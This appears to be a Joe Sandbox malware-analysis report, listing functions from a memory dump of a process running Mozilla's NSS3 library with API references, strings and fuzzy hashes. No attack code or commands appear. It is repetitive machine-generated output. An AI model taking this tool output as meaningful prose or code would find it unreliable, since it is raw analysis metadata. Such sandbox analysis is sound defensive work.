Part of subcall function 6C5D6E90: PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C5D6BF7), ref: 6C5D6F54

PORT_ZAlloc_Util.NSS3(00000A38,00000000,?,6C5D80C1), ref: 6C5DA6F9

Part of subcall function 6C5A0D30: calloc.MOZGLUE ref: 6C5A0D50
Part of subcall function 6C5A0D30: TlsGetValue.KERNEL32 ref: 6C5A0D6D

Part of subcall function 6C5D8A20: NSS_GetAlgorithmPolicy.NSS3(00000159,?,?,?,?,6C5DA76A,?,00000000,?,6C5D80C1), ref: 6C5D8A57
Part of subcall function 6C5D8A20: NSS_OptionGet.NSS3(-00000008,?), ref: 6C5D8A7C
Part of subcall function 6C5D8A20: NSS_OptionGet.NSS3(-00000009,?), ref: 6C5D8A9C

memcpy.VCRUNTIME140(00000210,6C6A0BEC,0000011C), ref: 6C5DA869
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,00000000,?,6C5D80C1), ref: 6C5DAADC

Strings

@\gl, xrefs: 6C5DA8DB
D]gl, xrefs: 6C5DA95D
|\gl, xrefs: 6C5DA8F9
h\gl, xrefs: 6C5DA8EF
0]gl, xrefs: 6C5DA953
l]gl, xrefs: 6C5DA971
,\gl, xrefs: 6C5DA8D1
T\gl, xrefs: 6C5DA8E5
]gl, xrefs: 6C5DA9AD
X]gl, xrefs: 6C5DA967
4^gl, xrefs: 6C5DA9D5
H^gl, xrefs: 6C5DA9DF
^gl, xrefs: 6C5DA9CB
\gl, xrefs: 6C5DA92B

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Secure$Option$AlgorithmAlloc_LockPolicyUtilValuecallocfclosefopenfreeftellfwritememcpy
String ID: ^gl$,\gl$0]gl$4^gl$@\gl$D]gl$H^gl$T\gl$X]gl$h\gl$l]gl$|\gl$\gl$]gl
API String ID: 2273805947-3055688896
Opcode ID: ddf6426766f588971143c814d400fddee3784eba52df08156fe335821c04ab2d
Instruction ID: 2ba4b843d8f4f652d3bbe46d40864bf13f46a77881acbd9e58304f3e73b29b70
Opcode Fuzzy Hash: ddf6426766f588971143c814d400fddee3784eba52df08156fe335821c04ab2d
Instruction Fuzzy Hash: DAB119B2911B448BD761CF39C9467D7BBE4AF85204F404E2ED8AF96610EB307684CF59

Function 6C5B4500 Relevance: 28.8, APIs: 19, Instructions: 319threadCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(6C5B3803,?,6C5B3817,00000000), ref: 6C5B450E

Part of subcall function 6C5A07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C548298,?,?,?,6C53FCE5,?), ref: 6C5A07BF
Part of subcall function 6C5A07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C5A07E6
Part of subcall function 6C5A07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5A081B
Part of subcall function 6C5A07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5A0825

PR_SetError.NSS3(FFFFE005,00000000,?,6C5B3817,00000000), ref: 6C5B4550
SECOID_FindOIDByTag_Util.NSS3(00000004,00000000), ref: 6C5B45B5
SECOID_FindOIDByTag_Util.NSS3(000000BF,00000000), ref: 6C5B4709
SECOID_GetAlgorithmTag_Util.NSS3(?,00000000), ref: 6C5B4727
SECOID_GetAlgorithmTag_Util.NSS3(?,?,00000000), ref: 6C5B473B
PORT_NewArena_Util.NSS3(00000400,?,?,?,?,?,?,?,00000000), ref: 6C5B4801
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C672DA0,?,?,?,?,?,?,?,?,00000000), ref: 6C5B482E
PR_GetCurrentThread.NSS3 ref: 6C5B48F3
PR_SetError.NSS3(FFFFE02F,00000000), ref: 6C5B4923
PR_SetError.NSS3(FFFFE02F,00000000), ref: 6C5B4937
SECKEY_DestroyPublicKey.NSS3(?,?,?,00000000), ref: 6C5B494E
PR_SetError.NSS3(FFFFE02F,00000000,?,?,?,00000000), ref: 6C5B4963
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C5B4984
VFY_VerifyDataWithAlgorithmID.NSS3(?,?,?,6C5B21C2,?,?,?), ref: 6C5B499C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C5B49B5
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,00000000), ref: 6C5B49C5
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6C5B49DC
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C5B49E9

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$Error$Arena_Tag_$AlgorithmFindFree$DestroyHashLookupPublicTable$ConstCurrentDataEncodeItem_ThreadVerifyWith
String ID:
API String ID: 3698863438-0
Opcode ID: a5b7ca2c749615ac8a2bffe35181c7d63ca7a9d36738b2a8ead3012a43c30813
Instruction ID: 73c5836a200ddf88d3cf940e34fe1a0e3f39dd1a75b386189101d42b901b2944
Opcode Fuzzy Hash: a5b7ca2c749615ac8a2bffe35181c7d63ca7a9d36738b2a8ead3012a43c30813
Instruction Fuzzy Hash: 3AA105B5E01204DBFF208AA5DCA0BEE3E65AF4531CF244525E905BBB82E731DC45C7A1

Function 6C5AE8C0 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 353memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(0000001C,?,6C5AE853,?,FFFFFFFF,?,?,6C5AB0CC,?,6C5AB4A0,?,00000000), ref: 6C5AE8D9

Part of subcall function 6C5A0D30: calloc.MOZGLUE ref: 6C5A0D50
Part of subcall function 6C5A0D30: TlsGetValue.KERNEL32 ref: 6C5A0D6D

Part of subcall function 6C5AC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C5ADAE2,?), ref: 6C5AC6C2

PORT_ArenaMark_Util.NSS3(?), ref: 6C5AE972
PORT_ArenaMark_Util.NSS3(?), ref: 6C5AE9C2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C5AEA00
PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C5AEA3F
SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C5AEA5A
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C5AEA81
SECOID_SetAlgorithmID_Util.NSS3(?,?,00000010,00000000), ref: 6C5AEA9E
SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C5AEACF
PK11_KeyGen.NSS3(00000000,-00000001,00000000,?,00000000), ref: 6C5AEB56
PK11_FreeSymKey.NSS3(00000000), ref: 6C5AEBC2
SECOID_FindOID_Util.NSS3(?), ref: 6C5AEBEC
free.MOZGLUE(00000000), ref: 6C5AEC58

Strings

SZl, xrefs: 6C5AE9CA, 6C5AEAAB

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$Find$ArenaTag_$AlgorithmAlloc_K11_Mark_$DestroyFreePublicValuecallocfree
String ID: SZl
API String ID: 759478663-496705750
Opcode ID: a27f886593edf071358da07a6163e4888f0f2ecfa39b0a4e588893b591e9dc65
Instruction ID: d2d19ae05f2e072e5b7138eae6ca819d3ec611a9c9ef538ef7a18ffc2f4b652b
Opcode Fuzzy Hash: a27f886593edf071358da07a6163e4888f0f2ecfa39b0a4e588893b591e9dc65
Instruction Fuzzy Hash: C3C171B1E01215DFEB00CFAADC84BAE77B4AF58308F140469E906A7B51E771E816CBD1

Function 6C544AF0 Relevance: 27.4, APIs: 18, Instructions: 355memorystringthreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,?,6C581444,?,?,00000000,?,?), ref: 6C544BD4

Part of subcall function 6C580C90: PR_SetError.NSS3(00000000,00000000,6C581444,?,00000001,?,00000000,00000000,?,?,6C581444,?,?,00000000,?,?), ref: 6C580CB3

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C581444), ref: 6C544B87
memcpy.VCRUNTIME140(00000000,?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C544BA5

Part of subcall function 6C5988E0: TlsGetValue.KERNEL32(00000000,?,?,6C5A08AA,?), ref: 6C5988F6
Part of subcall function 6C5988E0: EnterCriticalSection.KERNEL32(?,?,?,?,6C5A08AA,?), ref: 6C59890B
Part of subcall function 6C5988E0: PR_NotifyCondVar.NSS3(?,?,?,?,?,6C5A08AA,?), ref: 6C598936
Part of subcall function 6C5988E0: PR_Unlock.NSS3(?,?,?,?,?,6C5A08AA,?), ref: 6C598940

PR_SetError.NSS3(FFFFE02A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C544DF5
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?), ref: 6C544B94

Part of subcall function 6C5A10C0: TlsGetValue.KERNEL32(?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A10F3
Part of subcall function 6C5A10C0: EnterCriticalSection.KERNEL32(?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A110C
Part of subcall function 6C5A10C0: PL_ArenaAllocate.NSS3(?,?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A1141
Part of subcall function 6C5A10C0: PR_Unlock.NSS3(?,?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A1182
Part of subcall function 6C5A10C0: TlsGetValue.KERNEL32(?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A119C

free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C581444,?), ref: 6C544BC2
PR_GetCurrentThread.NSS3(?,?,?,?,?,00000000,00000000), ref: 6C544BEF
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C581444), ref: 6C544C27
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C581444), ref: 6C544C42
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C544D5A
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6C544D67
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C544D78
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C544DE4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C544E4C
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C544E5B
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6C544E6C

Part of subcall function 6C544880: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5448A2

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C544EF1
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C544F02

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$Error$Arena$Alloc_Item_Valuememcpystrlen$CriticalEnterSectionUnlockZfree$AllocateArena_CompareCondCurrentFreeNotifyThreadfree
String ID:
API String ID: 24311736-0
Opcode ID: f18b96b75423d877832711fcf774200b122cf7fdb161d9292f8af9bdc90c3954
Instruction ID: 02a5a0c8937c286c00ed0976e359423d922eb7a6bae6d60ab5a5bbe7fac938b2
Opcode Fuzzy Hash: f18b96b75423d877832711fcf774200b122cf7fdb161d9292f8af9bdc90c3954
Instruction Fuzzy Hash: D4C15CB5E412159FEB00CF69DC80BAF77F8AF59308F148429E815A7701E731ED188BA6

Function 6C5D28C0 Relevance: 27.2, APIs: 18, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 6C5D5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C5D5B56

TlsGetValue.KERNEL32 ref: 6C5D290A
EnterCriticalSection.KERNEL32(00000001), ref: 6C5D291E
TlsGetValue.KERNEL32 ref: 6C5D2937
EnterCriticalSection.KERNEL32(00000001), ref: 6C5D294B
PR_EnterMonitor.NSS3(?), ref: 6C5D2966
PR_EnterMonitor.NSS3(?), ref: 6C5D29AC
PR_ExitMonitor.NSS3(?), ref: 6C5D29D1
PR_EnterMonitor.NSS3(?), ref: 6C5D29F0
PR_EnterMonitor.NSS3(?), ref: 6C5D2A15
PR_EnterMonitor.NSS3(?), ref: 6C5D2A37
PR_ExitMonitor.NSS3(?), ref: 6C5D2A61
PR_ExitMonitor.NSS3(?), ref: 6C5D2A78
PR_ExitMonitor.NSS3(?), ref: 6C5D2A8F
PR_ExitMonitor.NSS3(?), ref: 6C5D2AA6

Part of subcall function 6C609440: TlsGetValue.KERNEL32 ref: 6C60945B
Part of subcall function 6C609440: TlsGetValue.KERNEL32 ref: 6C609479
Part of subcall function 6C609440: EnterCriticalSection.KERNEL32 ref: 6C609495
Part of subcall function 6C609440: TlsGetValue.KERNEL32 ref: 6C6094E4
Part of subcall function 6C609440: TlsGetValue.KERNEL32 ref: 6C609532
Part of subcall function 6C609440: LeaveCriticalSection.KERNEL32 ref: 6C60955D

PK11_HPKE_DestroyContext.NSS3(?,00000001), ref: 6C5D2AF9
free.MOZGLUE(?), ref: 6C5D2B16
PR_Unlock.NSS3(?), ref: 6C5D2B6D
PR_Unlock.NSS3(?), ref: 6C5D2B80

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Monitor$Enter$Value$Exit$CriticalSection$Unlock$ContextDestroyIdentitiesK11_LayerLeavefree
String ID:
API String ID: 2841089016-0
Opcode ID: 2db5720691e5938155436ecc691d1a3a5cec6f708c4fe0ac44fb13f015c74145
Instruction ID: fa0fe858e4726895a830c0e70c410b7ec8972add9c0e48df5a1c11716e6af769
Opcode Fuzzy Hash: 2db5720691e5938155436ecc691d1a3a5cec6f708c4fe0ac44fb13f015c74145
Instruction Fuzzy Hash: 3B81A4B1A007019BE7209F39EC45797B7E5AF45308F05492CE85AC7B11EB32F918CB9A

Function 6C598E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C598E01,00000000,6C599060,6C6A0B64), ref: 6C598E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C598E01,00000000,6C599060,6C6A0B64), ref: 6C598E9E
PORT_ArenaAlloc_Util.NSS3(6C6A0B64,00000001,?,?,?,?,6C598E01,00000000,6C599060,6C6A0B64), ref: 6C598EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C598E01,00000000,6C599060,6C6A0B64), ref: 6C598EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C598E01,00000000,6C599060,6C6A0B64), ref: 6C598ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C598E01,00000000,6C599060,6C6A0B64), ref: 6C598EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C598E01), ref: 6C598EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C6A0B64,6C6A0B64), ref: 6C598F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C598F3F

Part of subcall function 6C59A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C59A421,00000000,00000000,6C599826), ref: 6C59A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C59904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C598E76

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: 09c72fb326c48542d9f7e0ea5140cce6d2a98eb3866ccd495a0b7f50655d33e4
Instruction ID: 1994a8618a78916135966a9b587f2f1b74a3787e9eec77cd6d2a13a4c68c559e
Opcode Fuzzy Hash: 09c72fb326c48542d9f7e0ea5140cce6d2a98eb3866ccd495a0b7f50655d33e4
Instruction Fuzzy Hash: 4E61BEB5D002469FDB10CF56CC80AAFBBB9FF84358F244568DC29A7700E736A915CBA5

Function 6C548E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C548E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C548E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C548EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C6718D0,?), ref: 6C548F03
PR_CallOnce.NSS3(6C6A2AA4,6C5A12D0), ref: 6C548F19
PL_FreeArenaPool.NSS3(?), ref: 6C548F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C548F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C548F65
PL_FinishArenaPool.NSS3(?), ref: 6C548FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C548FFE
PR_CallOnce.NSS3(6C6A2AA4,6C5A12D0), ref: 6C549012
PL_FreeArenaPool.NSS3(?), ref: 6C549024
PL_FinishArenaPool.NSS3(?), ref: 6C54902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C54903E

Strings

security, xrefs: 6C548EE7

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: ac72cdcc67baa0c85ae82ce78a355c926e3c99a3ae4c325c9a5063adf302ad87
Instruction ID: 4093af8efb712e05c9066c1339bc9d2c8ed12fc548b2554db3542b48a9cc4e1d
Opcode Fuzzy Hash: ac72cdcc67baa0c85ae82ce78a355c926e3c99a3ae4c325c9a5063adf302ad87
Instruction Fuzzy Hash: DC5126B1608300EBD7109A9A9C41FAB77A8ABC575CF44482AF959D7B40E731DC0986A7

Function 6C60CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C60CC7B), ref: 6C60CD7A

Part of subcall function 6C60CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C57C1A8,?), ref: 6C60CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C60CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C60CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C60CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C60CD8E

Part of subcall function 6C5305C0: PR_EnterMonitor.NSS3 ref: 6C5305D1
Part of subcall function 6C5305C0: PR_ExitMonitor.NSS3 ref: 6C5305EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C60CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C60CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C60CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C60CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C60CE48

Strings

getnameinfo, xrefs: 6C60CDB2, 6C60CE23
freeaddrinfo, xrefs: 6C60CD9F, 6C60CE10
ws2_32.dll, xrefs: 6C60CD75
getaddrinfo, xrefs: 6C60CD88, 6C60CDF9
wship6.dll, xrefs: 6C60CDE3

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: a03b3d3a1608ae5b75a830b028de63e0793300f05fa04a0534767202b7b5a28a
Instruction ID: adab4feaafacdad26cacbc0a33e5962c97d1eae894793d4b60eb9671748ce0f4
Opcode Fuzzy Hash: a03b3d3a1608ae5b75a830b028de63e0793300f05fa04a0534767202b7b5a28a
Instruction Fuzzy Hash: 6511BBA6F13121A6D715AAB63D4059E39985B8325CF181935D80BE1E81FB10D605CAFF

Function 6C584540 Relevance: 25.8, APIs: 17, Instructions: 349COMMON

Download Yara Rule

APIs

PK11_MakeIDFromPubKey.NSS3(00000000), ref: 6C584590
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C58471C
TlsGetValue.KERNEL32 ref: 6C58477C
EnterCriticalSection.KERNEL32(?), ref: 6C58479A
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C58484A
PK11_FreeSymKey.NSS3(?), ref: 6C584858
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C58486A
PR_Unlock.NSS3(?), ref: 6C58487E

Part of subcall function 6C5EDD70: TlsGetValue.KERNEL32 ref: 6C5EDD8C
Part of subcall function 6C5EDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C5EDDB4

PK11_FreeSymKey.NSS3(?), ref: 6C58488C
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C58489C
PK11_GetInternalSlot.NSS3 ref: 6C5848B2
PK11_UnwrapPrivKey.NSS3(00000000,00000130,00000000,?,00000000,?,00000000,00000000,00000000,00000000,00000000,?,6C567F9D), ref: 6C5848EC
SECKEY_DestroyPrivateKey.NSS3(00000000), ref: 6C58492A
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C584949
PR_SetError.NSS3(00000000,00000000), ref: 6C584977
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C584987
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C58499B

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

